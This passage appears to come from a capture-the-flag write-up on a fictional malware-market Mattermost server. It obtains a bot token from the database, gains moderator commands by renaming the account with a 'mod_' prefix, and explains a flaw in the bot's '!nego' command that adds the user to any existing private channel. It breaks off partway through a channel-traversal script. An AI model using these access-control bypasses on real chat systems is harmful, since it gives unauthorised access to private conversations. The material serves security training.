Now, we can run the Mattermost server by running /opt/mattermost/bin/mattermost

Finally, we can start

The server should be running at http://localhost:8065

Navigating there lands us at a login screen

Well, we can login with the contents of the user.txt file

1
decimalpiglet81:yvMhOrAZSTgtqnAx

Username decimalpiglet81 and password yvMhOrAZSTgtqnAx

Navigating to the team MalwareCentral, as the task prompt mentions, we can see that we only have access to one channel, which is Public

It appears that this is some sort of public channel with some other bad actors in it, but again as the prompt mentions, the “adversary”, whoever they are, is not in this channel

We can actually try to see who our target is by going into the PostgreSQL database and looking at the users table.

Based on said table, it would appear the user we are trying to get into a channel with is admin_insecureapricots73. They are the only user designated as an admin, or at the very least, the only user with “admin” in their username. So, how exactly do we go about doing that?

Robot Rock

It appears that the bad actors have some sort of custom bot, similar to a Discord bot

We can run it in the volumes/bot directory by running bot.py. You need to ensure that you have all the proper dependencies, as well as a correct .env file

1
BOT_TOKEN=7k49bgbcob83dkr1w69j916cmr
2
BOT_TEAM=malwarecentral

The BOT_TOKEN can be found in the Mattermost database in the useraccesstokens table

1
mattermost=# select * from useraccesstokens;
2
             id             |           token            |           userid           |   description    | isactive
3
----------------------------+----------------------------+----------------------------+------------------+----------
4
 yaebn3n6ribqzph3qgthhf16pw | 7k49bgbcob83dkr1w69j916cmr | iyyjrrh6i7d37dkk5tg6wsupnw | Malbot API token | t
5
(1 row)

Now we can run the bot

Looking at the code of the bot, which is all in Python, it appears that some commands can only be ran if your username begins with mod_ or admin_, with the below example showing the commands you can run that are defined in a file named plugin_admin.py

1
from mmpy_bot import Plugin
2
from mmpy_bot.scheduler import schedule
3
from loguru import logger
4
from malware_database import db
5
from mmpy_bot.function import listen_to
6
import subprocess
7

8
class AdminPlugin(Plugin):
9
    """
10
    A plugin to handle administration utilities
11
    """
12

13
    @listen_to("^!util df", allowed_users_glob=["mod_*","admin_*"])
14
    def df_cmd(self, message ):
15
        logger.info(f"AdminPlugin: running df")
16
        result = subprocess.run(["df", "-h", "-x", "tmpfs"],capture_output=True, text=True)
17
        self.driver.reply_to(message, f"{result.stdout}")
18

19
    @listen_to("^!util uptime$", allowed_users_glob=["mod_*","admin_*"])
20
    def uptime_cmd(self, message):
21
        logger.info("AdminPlugin: running uptime")
22
        result = subprocess.run(["uptime"], capture_output=True, text=True)
23
        self.driver.reply_to(message, f"{result.stdout}")
24

25
    @listen_to("^!util free$", allowed_users_glob=["mod_*","admin_*"])
26
    def free_cmd(self, message):
27
        logger.info("AdminPlugin: running free -h")
28
        result = subprocess.run(["free", "-h"], capture_output=True, text=True)
29
        self.driver.reply_to(message, f"{result.stdout}")

Due to this, I rename our username to mod_decimalpiglet81

Now, I can successfully run these commands

It doesn’t really look like this is going to get us anywhere though

After some more digging in the bot’s code, we find a very interesting file named plugin_sales.py that defines some more commands

1
from mmpy_bot_monkeypatch import *  # Ensure monkeypatch is applied before anything else
2
from mmpy_bot import Plugin, Message, listen_to
3
from malware_database import db
4
from loguru import logger
5

6
MALWARE_TYPES = ["0click", "1click", "LPE", "SBE", "RCE", "Phishing", "ExploitKit", "Backdoor", "Rootkit"]
7
OS_TYPES = ["Windows", "Linux", "macOS", "Android", "iOS", "Unix"]
8
ODAYS = ["0day", "nday"]
9

10
class SalesPlugin(Plugin):
11
    """
12
    A plugin to handle sales in Mattermost.
13
    """
14

15
    @listen_to('^!nego (.*)$', no_direct=True,human_description="!nego channel seller moderator1 moderator2\n\tCreate a negotiation channel to close a deal!")
16
    def handle_nego(self : Plugin, message: Message, *args):
17
        logger.debug(f"handle_nego called with message: {message.text}")
18
        args = message.text.strip().split()
19
        if len(args) != 5:
20
            self.driver.reply_to(message, "Usage: !nego channel seller moderator1 moderator2")
21
            logger.warning("handle_nego: Incorrect number of arguments")
22
            return
23
        user1 = message.sender_name
24
        _, channel_name, user2, user3, user4 = args[:6]
25
        if not user4.startswith('mod_'):
26
            self.driver.reply_to(message, f"You must have a mod")
27
            return
28
        display_name = channel_name
29
        team_name = self.driver.options.get('team', 'malwarecentral')
30
        print(f"[DEBUG] Looking up team: {team_name}")
31
        # Get team info
32
        team = self.driver.teams.get_team_by_name(team_name)
33
        logger.debug(f"Team API response: {team}")
34
        team_id = team.get('id') if isinstance(team, dict) else team.json().get('id')
35
        print(f"[DEBUG] team_id: {team_id}")
36
        # Create channel
37
        channel_options = {
38
            "team_id": team_id,
39
            "name": channel_name,
40
            "display_name": display_name,
41
            "type": "P"
42
        }
43
        logger.debug(f"Creating channel with options: {channel_options}")
44
        try:
45
            channel = self.driver.channels.create_channel(channel_options)
46
            print(f"[DEBUG] Channel API response: {channel}")
47
        #hide weird exception when we have an archived channel with the same name, we'll just unarchive it
48
        except Exception as e:
49
            print(f"[DEBUG] Exception while creating channel: {e}")
50
            # Try to unarchive the channel if it exists
51
            try:
52
                archived_channel = self.driver.channels.get_channel_by_name(channel_name, team_id)
53
                if archived_channel and archived_channel.get('delete_at') > 0:
54
                    logger.info(f"Unarchiving existing channel: {archived_channel}")
55
                    self.driver.channels.unarchive_channel(archived_channel.get('id'))
56
                    channel = archived_channel
57
            except Exception as e:
58
                self.driver.reply_to(message, f"Failed to create or unarchive channel: {e}")
59
        #we either created a new channel or unarchived an existing one
60
        print(f"[DEBUG] getting channel: {channel_name} in team {team_id}")
61
        channel = self.driver.channels.get_channel_by_name(team_id, channel_name)
62
        channel_id = channel.get('id') if isinstance(channel, dict) else channel.json().get('id')
63
        print(f"[DEBUG] channel_id: {channel_id}")
64
        # Get user ids
65
        user_ids = []
66
        for uname in [user1, user2, user3, user4]:
67
            logger.debug(f"Looking up user: {uname}")
68
            user = self.driver.users.get_user_by_username(uname)
69
            logger.debug(f"User API response: {user}")
70
            uid = user.get('id') if isinstance(user, dict) else user.json().get('id')
71
            logger.debug(f"user_id for {uname}: {uid}")
72
            if not uid:
73
                self.driver.reply_to(message, f"User not found: {uname}")
74
                logger.warning(f"handle_nego: User not found: {uname}")
75
                return
76
            user_ids.append(uid)
77
        if len(set(user_ids)) != 4:
78
            logger.warning(f"incorrect number of users to run command")
79
            self.driver.reply_to(message, f"incorrect number of users to run command")
80
            return
81
        print(f"[DEBUG] All user_ids: {user_ids}")
82

83
        # Check if channel already has members
84
        existing_members = self.driver.channels.get_channel_members(channel_id)
85
        existing_member_user_ids = [member.get('user_id') for member in existing_members]
86
        existing_user_ids = any(uid in user_ids for uid in existing_member_user_ids)
87
        if existing_user_ids:
88
            # If the channel already has members, we should not add them again
89
            # This is a safeguard against creating duplicate entries in an archived channel
90
            print(f"[DEBUG] Existing members in channel {channel_id}: {existing_member_user_ids}, this shouldn't happen! archived channels should be empty")
91
            return
92
        # make sure not adding randos
93
        current_members_ids = [m['user_id'] for m in self.driver.channels.get_channel_members(message.channel_id)]
94
        if not (user_ids[0] in current_members_ids and user_ids[1] in current_members_ids and
95
                user_ids[2] in current_members_ids and user_ids[3] in current_members_ids):
96
            self.driver.reply_to(message, f"Could not find users")
97
            return
98

99
        # Add users to channel
100
        for uid in user_ids:
101
            logger.debug(f"Adding user {uid} to channel {channel_id}")
102
            self.driver.channels.add_channel_member(channel_id, {"user_id": uid})
103
        self.driver.reply_to(message, f"Created channel '{display_name}' and added users: {user1}, {user2}, {user3}")
104
        logger.info(f"Created channel '{display_name}' and added users: {user1}, {user2}, {user3}")
105

106
    @listen_to('^!add_offering (.*)$', no_direct=True,allowed_users_glob=["mod_*"], human_description="!add_offering name type os oday_or_nday creator price\n\tAdd a new malware offering.")
107
    def add_offering_cmd(self, message: Message, *args):
108
        args = message.text.strip().split()
109
        logger.debug(f"add_offering_cmd called with args: {args}")
110
        if len(args) != 7:
111
            self.driver.reply_to(message, "Usage: !add_offering name type os oday_or_nday creator price")
112
            logger.warning("add_offering: Incorrect number of arguments")
113
            return
114
        _, name, mtype, osys, oday_nday, creator, price = args
115
        mtype_lc = mtype.lower()
116
        osys_lc = osys.lower()
117
        oday_nday_lc = oday_nday.lower()
118
        logger.debug(f"Normalized values: type={mtype_lc}, os={osys_lc}, oday_nday={oday_nday_lc}")
119
        if mtype_lc not in [t.lower() for t in MALWARE_TYPES]:
120
            self.driver.reply_to(message, f"Invalid malware type. Allowed: {', '.join(MALWARE_TYPES)}")
121
            logger.warning(f"add_offering: Invalid malware type '{mtype}'")
122
            return
123
        if osys_lc not in [o.lower() for o in OS_TYPES]:
124
            self.driver.reply_to(message, f"Invalid OS. Allowed: {', '.join(OS_TYPES)}")
125
            logger.warning(f"add_offering: Invalid OS '{osys}'")
126
            return
127
        if oday_nday_lc not in [d.lower() for d in ODAYS]:
128
            self.driver.reply_to(message, "oday_or_nday must be '0day' or 'nday'.")
129
            logger.warning(f"add_offering: Invalid oday_or_nday '{oday_nday}'")
130
            return
131
        team_name = self.driver.options.get('team', 'malwarecentral')
132
        team = self.driver.teams.get_team_by_name(team_name)
133
        team_id = team.get('id') if isinstance(team, dict) else team.json().get('id')
134
        user = self.driver.users.get_user_by_username(creator)
135
        if not user or (user.get('id') if isinstance(user, dict) else user.json().get('id')) is None:
136
            self.driver.reply_to(message, f"Creator '{creator}' is not a valid user in the team.")
137
            logger.warning(f"add_offering: Creator '{creator}' is not a valid user in the team.")
138
            return
139
        try:
140
            price_val = float(price)
141
            if price_val < 0:
142
                raise ValueError
143
        except ValueError:
144
            self.driver.reply_to(message, "Price must be a positive number.")
145
            logger.warning(f"add_offering: Invalid price '{price}'")
146
            return
147
        offering = {
148
            'name': name,
149
            'type': mtype_lc,
150
            'os': osys_lc,
151
            'oday_or_nday': oday_nday_lc,
152
            'creator': creator,
153
            'price': price_val
154
        }
155
        logger.info(f"Adding offering: {offering}")
156
        oid = db.add_offering(offering)
157
        self.driver.reply_to(message, f"Offering added with ID {oid}.")
158
        logger.info(f"Offering added with ID {oid}")
159

160
    @listen_to('^!get_offerings (.*)$', no_direct=True, human_description="!get_offerings\n\tList all malware offerings.")
161
    def get_offerings_cmd(self, message: Message, *args):
162
        logger.debug(f"get_offerings_cmd called with message: {message.text}")
163
        offerings = db.get_offerings()
164
        logger.debug(f"Offerings retrieved: {offerings}")
165
        if not offerings:
166
            self.driver.reply_to(message, "No offerings available.")
167
            logger.info("get_offerings_cmd: No offerings available.")
168
            return
169
        msg = "Malware Offerings:\n" + "\n".join([
170
            f"ID: {o['id']}, Name: {o['name']}, Type: {o['type']}, OS: {o['os']}, Oday/Nday: {o['oday_or_nday']}, Creator: {o['creator']}, Price: {o['price']}"
171
            for o in offerings
172
        ])
173
        self.driver.reply_to(message, msg)
174
        logger.info("get_offerings_cmd: Sent offerings list.")
175

176
    #TODO update these users to be other admins we expect to be listed within the team
177
    @listen_to('^!record_sale (.*)$', no_direct=True, allowed_users_glob=["mod_*"],human_description="!record_sale buyer price offering_id\n\tRecord a sale of malware.",allowed_users=["badguy","otherbadguy","some guys","user1"])
178
    def record_sale_cmd(self, message: Message, *args):
179
        logger.debug(f"record_sale_cmd called with message: {message.text}")
180
        args = message.text.strip().split()
181
        if len(args) != 4:
182
            self.driver.reply_to(message, "Usage: !record_sale buyer price offering_id")
183
            logger.warning("record_sale_cmd: Incorrect number of arguments")
184
            return
185
        _, buyer, price, offering_id = args
186
        # Validate buyer is a user in the team
187
        team_name = self.driver.options.get('team', 'malwarecentral')
188
        team = self.driver.teams.get_team_by_name(team_name)
189
        team_id = team.get('id') if isinstance(team, dict) else team.json().get('id')
190
        user = self.driver.users.get_user_by_username(buyer)
191
        if not user or (user.get('id') if isinstance(user, dict) else user.json().get('id')) is None:
192
            self.driver.reply_to(message, f"Buyer '{buyer}' is not a valid user in the team.")
193
            logger.warning(f"record_sale_cmd: Buyer '{buyer}' is not a valid user in the team.")
194
            return
195
        # Seller is the creator of the offering
196
        offerings = db.get_offerings()
197
        offering = next((o for o in offerings if str(o['id']) == offering_id), None)
198
        if not offering:
199
            self.driver.reply_to(message, f"Offering ID {offering_id} not found.")
200
            logger.warning(f"record_sale_cmd: Offering ID {offering_id} not found.")
201
            return
202
        seller = offering['creator']
203
        sale = {
204
            'buyer': buyer,
205
            'seller': seller,
206
            'price': price,
207
            'offering_id': offering_id
208
        }
209
        logger.info(f"Recording sale: {sale}")
210
        db.record_sale(sale)
211
        self.driver.reply_to(message, f"Sale recorded for offering ID {offering_id}.")
212
        logger.info(f"Sale recorded for offering ID {offering_id}")

Specifically, the !nego command is what’s really interesting

1
@listen_to('^!nego (.*)$', no_direct=True,human_description="!nego channel seller moderator1 moderator2\n\tCreate a negotiation channel to close a deal!")
2
    def handle_nego(self : Plugin, message: Message, *args):
3
        logger.debug(f"handle_nego called with message: {message.text}")
4
        args = message.text.strip().split()
5
        if len(args) != 5:
6
            self.driver.reply_to(message, "Usage: !nego channel seller moderator1 moderator2")
7
            logger.warning("handle_nego: Incorrect number of arguments")
8
            return
9
        user1 = message.sender_name
10
        _, channel_name, user2, user3, user4 = args[:6]
11
        if not user4.startswith('mod_'):
12
            self.driver.reply_to(message, f"You must have a mod")
13
            return
14
        display_name = channel_name
15
        team_name = self.driver.options.get('team', 'malwarecentral')
16
        print(f"[DEBUG] Looking up team: {team_name}")
17
        # Get team info
18
        team = self.driver.teams.get_team_by_name(team_name)
19
        logger.debug(f"Team API response: {team}")
20
        team_id = team.get('id') if isinstance(team, dict) else team.json().get('id')
21
        print(f"[DEBUG] team_id: {team_id}")
22
        # Create channel
23
        channel_options = {
24
            "team_id": team_id,
25
            "name": channel_name,
26
            "display_name": display_name,
27
            "type": "P"
28
        }
29
        logger.debug(f"Creating channel with options: {channel_options}")
30
        try:
31
            channel = self.driver.channels.create_channel(channel_options)
32
            print(f"[DEBUG] Channel API response: {channel}")
33
        #hide weird exception when we have an archived channel with the same name, we'll just unarchive it
34
        except Exception as e:
35
            print(f"[DEBUG] Exception while creating channel: {e}")
36
            # Try to unarchive the channel if it exists
37
            try:
38
                archived_channel = self.driver.channels.get_channel_by_name(channel_name, team_id)
39
                if archived_channel and archived_channel.get('delete_at') > 0:
40
                    logger.info(f"Unarchiving existing channel: {archived_channel}")
41
                    self.driver.channels.unarchive_channel(archived_channel.get('id'))
42
                    channel = archived_channel
43
            except Exception as e:
44
                self.driver.reply_to(message, f"Failed to create or unarchive channel: {e}")
45
        #we either created a new channel or unarchived an existing one
46
        print(f"[DEBUG] getting channel: {channel_name} in team {team_id}")
47
        channel = self.driver.channels.get_channel_by_name(team_id, channel_name)
48
        channel_id = channel.get('id') if isinstance(channel, dict) else channel.json().get('id')
49
        print(f"[DEBUG] channel_id: {channel_id}")
50
        # Get user ids
51
        user_ids = []
52
        for uname in [user1, user2, user3, user4]:
53
            logger.debug(f"Looking up user: {uname}")
54
            user = self.driver.users.get_user_by_username(uname)
55
            logger.debug(f"User API response: {user}")
56
            uid = user.get('id') if isinstance(user, dict) else user.json().get('id')
57
            logger.debug(f"user_id for {uname}: {uid}")
58
            if not uid:
59
                self.driver.reply_to(message, f"User not found: {uname}")
60
                logger.warning(f"handle_nego: User not found: {uname}")
61
                return
62
            user_ids.append(uid)
63
        if len(set(user_ids)) != 4:
64
            logger.warning(f"incorrect number of users to run command")
65
            self.driver.reply_to(message, f"incorrect number of users to run command")
66
            return
67
        print(f"[DEBUG] All user_ids: {user_ids}")
68

69
        # Check if channel already has members
70
        existing_members = self.driver.channels.get_channel_members(channel_id)
71
        existing_member_user_ids = [member.get('user_id') for member in existing_members]
72
        existing_user_ids = any(uid in user_ids for uid in existing_member_user_ids)
73
        if existing_user_ids:
74
            # If the channel already has members, we should not add them again
75
            # This is a safeguard against creating duplicate entries in an archived channel
76
            print(f"[DEBUG] Existing members in channel {channel_id}: {existing_member_user_ids}, this shouldn't happen! archived channels should be empty")
77
            return
78
        # make sure not adding randos
79
        current_members_ids = [m['user_id'] for m in self.driver.channels.get_channel_members(message.channel_id)]
80
        if not (user_ids[0] in current_members_ids and user_ids[1] in current_members_ids and
81
                user_ids[2] in current_members_ids and user_ids[3] in current_members_ids):
82
            self.driver.reply_to(message, f"Could not find users")
83
            return
84

85
        # Add users to channel
86
        for uid in user_ids:
87
            logger.debug(f"Adding user {uid} to channel {channel_id}")
88
            self.driver.channels.add_channel_member(channel_id, {"user_id": uid})
89
        self.driver.reply_to(message, f"Created channel '{display_name}' and added users: {user1}, {user2}, {user3}")
90
        logger.info(f"Created channel '{display_name}' and added users: {user1}, {user2}, {user3}")

This creates a channel, consisting of you, a seller user, another user, with the last user required to be a mod.

1
user1 = message.sender_name
2
_, channel_name, user2, user3, user4 = args[:6]
3
if not user4.startswith('mod_'):
4
    self.driver.reply_to(message, f"You must have a mod")
5
    return

However if we look at this code, it appears to be able to add users to archived channels, or in other words, channels that already exist. However, if the channel already exists and isn’t archived (still active), it doesn’t care and fetches the channel anyway

1
except Exception as e:
2
            print(f"[DEBUG] Exception while creating channel: {e}")
3
            # Try to unarchive the channel if it exists
4
            try:
5
                archived_channel = self.driver.channels.get_channel_by_name(channel_name, team_id)
6
                if archived_channel and archived_channel.get('delete_at') > 0:
7
                    logger.info(f"Unarchiving existing channel: {archived_channel}")
8
                    self.driver.channels.unarchive_channel(archived_channel.get('id'))
9
                    channel = archived_channel
10
            except Exception as e:
11
                self.driver.reply_to(message, f"Failed to create or unarchive channel: {e}")
12
        #we either created a new channel or unarchived an existing one
13
        print(f"[DEBUG] getting channel: {channel_name} in team {team_id}")
14
        channel = self.driver.channels.get_channel_by_name(team_id, channel_name)
15
        channel_id = channel.get('id') if isinstance(channel, dict) else channel.json().get('id')
16
        print(f"[DEBUG] channel_id: {channel_id}")

This appears to be a pretty big flaw. That means that we can add users and ourselves to any channel, not just non-existent or archived channels.

The only requirement to do so is that the 3 users you try to run the !nego command with (the 2 users and the mod) cannot be in the channel you are trying to add everyone to.

1
existing_members = self.driver.channels.get_channel_members(channel_id)
2
existing_member_user_ids = [member.get('user_id') for member in existing_members]
3
existing_user_ids = any(uid in user_ids for uid in existing_member_user_ids)
4
if existing_user_ids:
5
    # If the channel already has members, we should not add them again
6
    print(f"[DEBUG] Existing members in channel {channel_id}: {existing_member_user_ids}, this shouldn't happen! archived channels should be empty")
7
    return

This appears to be another flaw! It seems that the intent was that if a channel isn’t empty it shouldn’t add any users at all, but it appears that just as long as all users you want to add aren’t in the target channel, it’ll work and add everyone to it.

This !nego command seems to be our method of traversing channels. Beginning from the Public channel, we have to find 3 users in the current channel (with 1 of them being a mod) who are not in the target channel we want to get to, run the !nego command to gain access to that channel, and then continuously do this until we reach a channel that has admin_insecureapricots73 in it.

We can write a Python script that can automate doing this. Firstly though, we need a list of all users and their user IDs, as well as a list of every channel and the users within said channels.

We can do this through some SQL commands:

We can get the user IDs of all users in each channel by running this query on every channel

1
mattermost=# SELECT u.username, u.id AS user_id
2
FROM channels c
3
JOIN channelmembers cm ON cm.channelid = c.id
4
JOIN users u ON u.id = cm.userid
5
WHERE c.displayname = 'Public';
6
      username       |          user_id
7
---------------------+----------------------------
8
 enragedcaviar56     | 1w36wtpq4tfhiqe7xdm6igx84o
9
 grumpyrhino73       | bh87wmq4qfdmdbafhohpy6mq6h
10
 sadchowder88        | cw41xr7ydfnsjdfwqr9a7agtxr
11
 selfishjaguar50     | dzkurn8put8udqwrij98u4s94w
12
 chicteal95          | g4tp7dewfjgziph3exxjzbrhwy
13
 malbot              | iyyjrrh6i7d37dkk5tg6wsupnw
14
 euphoricraisins54   | o91awst7w3fidn58ry4cp3r4xh
15
 mod_decimalpiglet81 | rwagbspan7rxppfgrxjbcz4ore
16
 mod_needyboa0       | tosbendf6idnpc7egyw5wfau9h
17
(9 rows)

We can find all the channel display names by just running SELECT displayname FROM channels;

To get all users and their IDs, we can just run

1
SELECT id, username FROM public.users;

Now we can start making that Python script

Actually Crossing the Channel

Our script below performs a BFS like traversal to try to move from one channel to another until it reaches one that contains the admin_insecureapricots73 user, whose user ID is rnqpjyd5mtnszfgpzkjguu18zo, starting of course from the Public channel

1
# Found from database
2
users = {
3
    "6k4nf8umejr7zfqfityfhtn9tw": "mod_lyingdoves52",
4
    "h64obyji93n75dcwwy4xfarcno": "mod_mercifulsausage42",
5
    "5tohie4px3nmipga8maq7koqny": "mod_amazedcamel5",
6
    "tosbendf6idnpc7egyw5wfau9h": "mod_needyboa0",
7
    "rnqpjyd5mtnszfgpzkjguu18zo": "admin_insecureapricots73",
8
    "bh87wmq4qfdmdbafhohpy6mq6h": "grumpyrhino73",
9
    "g4tp7dewfjgziph3exxjzbrhwy": "chicteal95",
10
    "1w36wtpq4tfhiqe7xdm6igx84o": "enragedcaviar56",
11
    "tdzdyadzhfdt3nqto9dan3xtia": "mod_excitedburritos53",
12
    "1xk1z5t3b3ggzeg4xrq3dyiyky": "needypup16",
13
    "o91awst7w3fidn58ry4cp3r4xh": "euphoricraisins54",
14
    "cw41xr7ydfnsjdfwqr9a7agtxr": "sadchowder88",
15
    "w5zjeekxpjfa3kzpzpw4mmzp1y": "sorecamel84",
16
    "hbo689966irppefi37oafo3tca": "wingedmandrill37",
17
    "iyyjrrh6i7d37dkk5tg6wsupnw": "malbot",
18
    "dzkurn8put8udqwrij98u4s94w": "selfishjaguar50",
19
    "w5sps8fbc7n1jk8bt88fkxs3ee": "mod_gloomyhyena90",
20
    "hypxe7jik7bjx881onw9of1nbe": "ardentpup59",
21
    "7exwwxmzfjgoxqtswc14b8qz6h": "system-bot",
22
    "rwagbspan7rxppfgrxjbcz4ore": "mod_decimalpiglet81",
23
}
24

25
# Found from database
26
channels = {
27

28
    "public" : ["rwagbspan7rxppfgrxjbcz4ore", "g4tp7dewfjgziph3exxjzbrhwy","1w36wtpq4tfhiqe7xdm6igx84o",
29
    "tosbendf6idnpc7egyw5wfau9h", "o91awst7w3fidn58ry4cp3r4xh", "bh87wmq4qfdmdbafhohpy6mq6h", "iyyjrrh6i7d37dkk5tg6wsupnw",
30
    "cw41xr7ydfnsjdfwqr9a7agtxr", "dzkurn8put8udqwrij98u4s94w"],
31

32
    "channel15511" : ['1xk1z5t3b3ggzeg4xrq3dyiyky', 'bh87wmq4qfdmdbafhohpy6mq6h',
33
    '1w36wtpq4tfhiqe7xdm6igx84o', 'g4tp7dewfjgziph3exxjzbrhwy', '5tohie4px3nmipga8maq7koqny',
34
    '6k4nf8umejr7zfqfityfhtn9tw', 'dzkurn8put8udqwrij98u4s94w', 'h64obyji93n75dcwwy4xfarcno',
35
    'hbo689966irppefi37oafo3tca', 'hypxe7jik7bjx881onw9of1nbe', 'tdzdyadzhfdt3nqto9dan3xtia',
36
    'tosbendf6idnpc7egyw5wfau9h', 'w5sps8fbc7n1jk8bt88fkxs3ee', 'w5zjeekxpjfa3kzpzpw4mmzp1y',
37
    'iyyjrrh6i7d37dkk5tg6wsupnw'],
38

39
    "channel17991" : ['o91awst7w3fidn58ry4cp3r4xh', 'w5zjeekxpjfa3kzpzpw4mmzp1y', '1w36wtpq4tfhiqe7xdm6igx84o',
40
    '1xk1z5t3b3ggzeg4xrq3dyiyky', '5tohie4px3nmipga8maq7koqny', '6k4nf8umejr7zfqfityfhtn9tw', 'cw41xr7ydfnsjdfwqr9a7agtxr',
41
    'dzkurn8put8udqwrij98u4s94w', 'g4tp7dewfjgziph3exxjzbrhwy', 'h64obyji93n75dcwwy4xfarcno', 'tdzdyadzhfdt3nqto9dan3xtia',
42
    'tosbendf6idnpc7egyw5wfau9h', 'w5sps8fbc7n1jk8bt88fkxs3ee', 'bh87wmq4qfdmdbafhohpy6mq6h', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
43

44
    "channel28200" : ['bh87wmq4qfdmdbafhohpy6mq6h', 'o91awst7w3fidn58ry4cp3r4xh', '5tohie4px3nmipga8maq7koqny',
45
    'cw41xr7ydfnsjdfwqr9a7agtxr', 'dzkurn8put8udqwrij98u4s94w', 'h64obyji93n75dcwwy4xfarcno', 'hypxe7jik7bjx881onw9of1nbe',
46
    'tdzdyadzhfdt3nqto9dan3xtia', 'tosbendf6idnpc7egyw5wfau9h', 'w5sps8fbc7n1jk8bt88fkxs3ee', 'w5zjeekxpjfa3kzpzpw4mmzp1y',
47
    'hbo689966irppefi37oafo3tca', '1xk1z5t3b3ggzeg4xrq3dyiyky', '6k4nf8umejr7zfqfityfhtn9tw', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
48

49
    "channel29721" : ['o91awst7w3fidn58ry4cp3r4xh', '1w36wtpq4tfhiqe7xdm6igx84o',
50
    'h64obyji93n75dcwwy4xfarcno', '1xk1z5t3b3ggzeg4xrq3dyiyky', '5tohie4px3nmipga8maq7koqny',
51
    '6k4nf8umejr7zfqfityfhtn9tw', 'tdzdyadzhfdt3nqto9dan3xtia', 'cw41xr7ydfnsjdfwqr9a7agtxr',
52
    'dzkurn8put8udqwrij98u4s94w', 'g4tp7dewfjgziph3exxjzbrhwy', 'hypxe7jik7bjx881onw9of1nbe',
53
    'bh87wmq4qfdmdbafhohpy6mq6h', 'tosbendf6idnpc7egyw5wfau9h', 'w5zjeekxpjfa3kzpzpw4mmzp1y', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
54

55
    "channel33529" : ['bh87wmq4qfdmdbafhohpy6mq6h', 'o91awst7w3fidn58ry4cp3r4xh',
56
    'g4tp7dewfjgziph3exxjzbrhwy', 'h64obyji93n75dcwwy4xfarcno', 'tosbendf6idnpc7egyw5wfau9h',
57
    'w5zjeekxpjfa3kzpzpw4mmzp1y', 'hbo689966irppefi37oafo3tca', 'hypxe7jik7bjx881onw9of1nbe',
58
    'tdzdyadzhfdt3nqto9dan3xtia', 'w5sps8fbc7n1jk8bt88fkxs3ee', '1w36wtpq4tfhiqe7xdm6igx84o', '1xk1z5t3b3ggzeg4xrq3dyiyky',
59
    '5tohie4px3nmipga8maq7koqny', '6k4nf8umejr7zfqfityfhtn9tw', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
60

61
    "channel33768" : ['g4tp7dewfjgziph3exxjzbrhwy', '6k4nf8umejr7zfqfityfhtn9tw', '1w36wtpq4tfhiqe7xdm6igx84o', '1xk1z5t3b3ggzeg4xrq3dyiyky',
62
    '5tohie4px3nmipga8maq7koqny', 'cw41xr7ydfnsjdfwqr9a7agtxr', 'dzkurn8put8udqwrij98u4s94w', 'h64obyji93n75dcwwy4xfarcno',
63
    'tdzdyadzhfdt3nqto9dan3xtia', 'tosbendf6idnpc7egyw5wfau9h', 'w5zjeekxpjfa3kzpzpw4mmzp1y',
64
    'bh87wmq4qfdmdbafhohpy6mq6h', 'rnqpjyd5mtnszfgpzkjguu18zo', 'iyyjrrh6i7d37dkk5tg6wsupnw', 'o91awst7w3fidn58ry4cp3r4xh'],
65

66
    "channel35869" : ['bh87wmq4qfdmdbafhohpy6mq6h', 'o91awst7w3fidn58ry4cp3r4xh', '1w36wtpq4tfhiqe7xdm6igx84o',
67
    '1xk1z5t3b3ggzeg4xrq3dyiyky', '5tohie4px3nmipga8maq7koqny', '6k4nf8umejr7zfqfityfhtn9tw', 'cw41xr7ydfnsjdfwqr9a7agtxr',
68
    'dzkurn8put8udqwrij98u4s94w', 'h64obyji93n75dcwwy4xfarcno', 'hbo689966irppefi37oafo3tca', 'hypxe7jik7bjx881onw9of1nbe',
69
    'tdzdyadzhfdt3nqto9dan3xtia', 'tosbendf6idnpc7egyw5wfau9h', 'w5sps8fbc7n1jk8bt88fkxs3ee', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
70

71
    "channel40085" : ['o91awst7w3fidn58ry4cp3r4xh', '1w36wtpq4tfhiqe7xdm6igx84o', '1xk1z5t3b3ggzeg4xrq3dyiyky',
72
    '5tohie4px3nmipga8maq7koqny', '6k4nf8umejr7zfqfityfhtn9tw', 'cw41xr7ydfnsjdfwqr9a7agtxr', 'dzkurn8put8udqwrij98u4s94w',
73
    'g4tp7dewfjgziph3exxjzbrhwy', 'hbo689966irppefi37oafo3tca', 'tdzdyadzhfdt3nqto9dan3xtia', 'tosbendf6idnpc7egyw5wfau9h',
74
    'w5sps8fbc7n1jk8bt88fkxs3ee', 'w5zjeekxpjfa3kzpzpw4mmzp1y', 'bh87wmq4qfdmdbafhohpy6mq6h', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
75

76
    "channel41385" : ['o91awst7w3fidn58ry4cp3r4xh', 'bh87wmq4qfdmdbafhohpy6mq6h', '1w36wtpq4tfhiqe7xdm6igx84o',
77
    '1xk1z5t3b3ggzeg4xrq3dyiyky', '5tohie4px3nmipga8maq7koqny', '6k4nf8umejr7zfqfityfhtn9tw', 'g4tp7dewfjgziph3exxjzbrhwy',
78
    'cw41xr7ydfnsjdfwqr9a7agtxr', 'h64obyji93n75dcwwy4xfarcno', 'hbo689966irppefi37oafo3tca', 'hypxe7jik7bjx881onw9of1nbe',
79
    'tdzdyadzhfdt3nqto9dan3xtia', 'tosbendf6idnpc7egyw5wfau9h', 'w5zjeekxpjfa3kzpzpw4mmzp1y', 'iyyjrrh6i7d37dkk5tg6wsupnw'],
80

81
    "channel48553" : ['bh87wmq4qfdmdbafhohpy6mq6h', 'tdzdyadzhfdt3nqto9dan3xtia', 'tosbendf6idnpc7egyw5wfau9h', 'w5sps8fbc7n1jk8bt88fkxs3ee',
82
    'o91awst7w3fidn58ry4cp3r4xh', '1w36wtpq4tfhiqe7xdm6igx84o', '6k4nf8umejr7zfqfityfhtn9tw', 'cw41xr7ydfnsjdfwqr9a7agtxr',
83
    'dzkurn8put8udqwrij98u4s94w', 'g4tp7dewfjgziph3exxjzbrhwy', 'h64obyji93n75dcwwy4xfarcno', 'hypxe7jik7bjx881onw9of1nbe',
84
    'iyyjrrh6i7d37dkk5tg6wsupnw'],
85

86
    "channel50056" : ['6k4nf8umejr7zfqfityfhtn9tw', '1xk1z5t3b3ggzeg4xrq3dyiyky', '1w36wtpq4tfhiqe7xdm6igx84o',
87
